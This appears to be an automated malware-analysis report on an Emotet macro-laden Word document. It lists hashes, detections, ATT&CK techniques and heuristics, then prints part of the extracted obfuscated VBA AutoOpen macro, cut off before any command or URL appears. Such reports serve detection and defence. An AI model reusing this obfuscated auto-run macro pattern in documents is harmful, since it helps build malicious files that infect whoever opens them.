Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 eb17a94b551b7559…

MALICIOUS

Office (OLE)

116.6 KB Created: 2018-09-27 21:56:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 0d64a9adf983b5f39ee796e39e418051 SHA-1: bab558dcb18ca3a8bc0b92753aa937f33d8c5721 SHA-256: eb17a94b551b75592f7194be1407053bb01cd3973bc5bd23dbedd5108d6b1278
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically triggering an AutoOpen macro. The critical heuristic firing of Shell() call in VBA indicates that the macro is designed to execute arbitrary commands. ClamAV detection confirms this as 'Doc.Downloader.Emotet-6884000-0', strongly suggesting Emotet family activity. The AutoOpen macro likely downloads and executes a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6884000-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884000-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17821 bytes
SHA-256: fc497c24ecd12d29cd7918b42f041225b6349766121d4111f0ffb877e3c118cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "qjCmQBTjrof"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim ILXLC(2)
ILXLC(0) = Left(QojmHSl + SKtfPoTHrzdrjQhd + KLGqUlt, 942) + InStrRev(Ctmjsji + HDEKuJjoGqkHHzmovDK + LwjJVw, hKiiGAM + BFqzvvtEtupFQzjzZKNpGDD + zAzaHv) + Left(fVQBq + FFzbthBVOIooPrwXFcuTi + sBQivj, 116) + Left(AGbDowf + wGNpvYDSzQLlioAFSS + TijnPuj, 145)
ILXLC(1) = InStr(IjCBCFoJ + GDZPqJzzZfsaKLnJJjrT + jPcluQJ, bQFUw + kJXRQJIstAAjhKlKuwND + RRwdFr) + InStrRev(nzhwz + kUtBPIbMjvilLYNvwri + BJzvihm, nKcTBt + qjwJJFrcbjCOfGzFLvsft + wBwCE) + InStrRev(XAzidsE + FFDJKHIMCnBfzDDGqSZWPVr + FdGBF, ZpZwqsIq + frDvfCtPOfjooScivmwRKi + AQzJj) + InStrRev(pAcGabN + AHqAlfNmHGtjasRsiREw + zSAzH, jFQCnNQ + LicNpajpJaZwLaul + nTzXJd)
   Dim dDlXjF(2)
dDlXjF(0) = InStrRev(BQtsRJ + NOjUqMSHoYOcpfsMFpwo + rZdsVvd, KuzpzQ + PrjGrlRbYzOZMtznol + vsKikibt) + Left(iiznTA + btWfdawVvAczVdwhhAnzf + JfcYaw, 513) + Right(sVPOj + sfsSXNzBFTftrdFRQtM + BBKkc, 411) + InStrRev(wkuUmjBw + XUfuDWwmIRRWjKVCVWjG + HtZEuEV, pAVGwo + iqjjONJvftEGqOvcYasE + GrJWJXO)
dDlXjF(1) = Left(zPpztj + bZbmJmKsCLMXqFHWAZII + itwVOC, 934) + InStr(QiVozs + RUDWAdFulJTRwRbFn + AODGZHO, dcOrn + hlUPTQmtwNYXVmjToSthVr + jmVcdUT) + InStrRev(SZKkbK + uptpqtsUminEqpGGLU + DbTQv, NIUEbBj + tcXJhoGPBUuVENlqNXc + lZWTAXW) + InStr(RMiwa + VDwtHoDGvQQtYRuYHRmPw + rDsfLk, rUjDWwi + EGGNfzCCCOwioAznLajjAR + kcXbZwZL)
   Dim zMEwc(2)
zMEwc(0) = InStrRev(BiIjfpc + HmUaFvwCaibowKouljPw + znYREmvb, nqPUDOBk + GMjzDVBOKsntbFlGnjzJH + uUqXhiw) + InStrRev(nGYOjlNN + zzoOuoQdvGCZiRrrdNrzi + BWXBV, IWoGGvjQ + AlkhuzIWWrlHvsmuF + UNQHcU)
zMEwc(1) = InStrRev(IMMKwwiU + PwzPzXozKCwWbRWQmU + aOiYwDK, iUqRaE + tnUQsLqRViLEVEbSTzRlp + SBFCAMG) + InStr(hSOiDoHF + BTJPOzBzubBfsoMpUR + bXJDqwi, EKvKI + DzKJdRjnUKAvQNNwsFvLESC + UWDkCVlV)
   Dim lQopB(1)
lQopB(0) = InStrRev(zFPth + AHjCHjaFSiIlKBJHiSwsjP + AkozUSM, lfUPavKV + YtvwpMaUCOCnRtRUOpY + XuLrI) + Right(XZWRtEow + wtnhisDVpsBtDqYvBiL + rcQzAV, 341)
   Dim UrfjYo(2)
UrfjYo(0) = InStrRev(WIhvW + STOPDjmwZpGViYaR + UsRjs, DOSVw + jHBOzJEHjiaCBdEHHwbz + qzjkH) + InStrRev(iYoXW + PHnliAqKaFzRiEJVDIKV + OYwiMFmJ, zLqPftzo + JCVoqkNHJFmqbVLwUS + wqWOupK)
UrfjYo(1) = Right(MSqLDI + rlBbnNVwEXnpVXYzT + MzAjZY, 900) + InStrRev(NXWdhm + dBJwlVjYGVofGYZEbD + KojKQTKd, PURMUb + DARZStCQFIhcEwJFcEMO + UPpDtDw) + InStrRev(AnikWmHO + VCrKjOLVhapnzdNwX + mjEAa, SVqKIHjd + qfscNJBpwYJfDKPLF + zXDLkjd) + InStr(UZDIs + YLuwkRObaiEzwiDfUY + dYHsEjq, ubqALjC + ukJBYkCaZENoaRacZK + TrJVdSn)
   Dim zMdRa(2)
zMdRa(0) = InStr(WHBJQCZG + ZuFZHzwqJOOHbCPcjGzo + RIPUQ, EJsts + OISkSkIAWpAKdkFiTqoF + rLKzru) + InStrRev(ZOYoOWq + rtfQHZwSnNJzoKbZz + cFZkPMY, oVZzMwJ + qAZGVRZWADuRANRqWKHYHE + abqqBroH)
zMdRa(1) = InStrRev(VkIKb + HoXVLjXSNbicRCzMjKCCc + QvpiL, zAPCSP + SjiNYajTiLOJOEluQzijB + cRmtKk) + Right(rSYPVjj + DAVHkdIrOfvkzGzSjuU + YWlNiGRj, 450) + Left(BWJrVIl + mpHTuulOvGjYOJQdkww + TcwzG, 934) + InStrRev(AFKjO + ksfUcZcwadLsHjREzSvQfS + iTOzzqzs, bvdWzA + kfBRjUSSzpbzcOJka + uOrHOV)
   Dim SvsDhr(2)
SvsDhr(0) = InStrRev(mthoYw + RZqBHqzwPknawkpjt + UNhwWqsq, KapoiZWc + FRGIpOnljRJhVTIUaFHT + AiRRLSE) + InStrRev(qDHZJHCH + iAtTkCNHEqzjpfWTs + utiBVu, XzVFJ + OhPFEKztEpsTctzRGzojj + vjsbtI) + Left(QpDnLQj + wjBfkrJIrUGawiBdERLjnk + kFlBWDDm, 12) + Left(KpjwkQk + rUtVPGrTzNvYAYWwDWLikHq + SaQDIV, 998)
SvsDhr(1) = InStr(PmQLj + vnmoKNalZTfmYRWAJj + DAIJHEir, hpUDz + NqRiBUiENwoirAjoCSGV + jVEStUR) + InStrRev(wtsEB + FFqjCESETULIYNBUzZl + hdYuXswh, MAiUic + OZAGDlpZChjETwwfXsLXn + LGpsWrw) + InStrRev(jsaanF + tAbUtDSFzfwCBTajjm + kUvNFbzs, winbPRCJ + uQnUhfGMWPaMzzqbrGFN + XZbEI) + InStr(LPvUhaj + sfviXclPTMhpCkQJ + BEpoOzPW, JBoNZS + FzpooUsEFRzJXTaFpIUMOw + juzPk)
fANEWSKqkBbZdU (KeyString(KrVIV + wvqzwXa + 15 + 4 + 48 + InGraCi + RZzZir) + iXBjm + oFTGXX + KeyString(JjdiB + IICjEOj + 17 + 5 + 55 + zrzpDr + zqCUic) + AlVZTL + aZXk
... (truncated)

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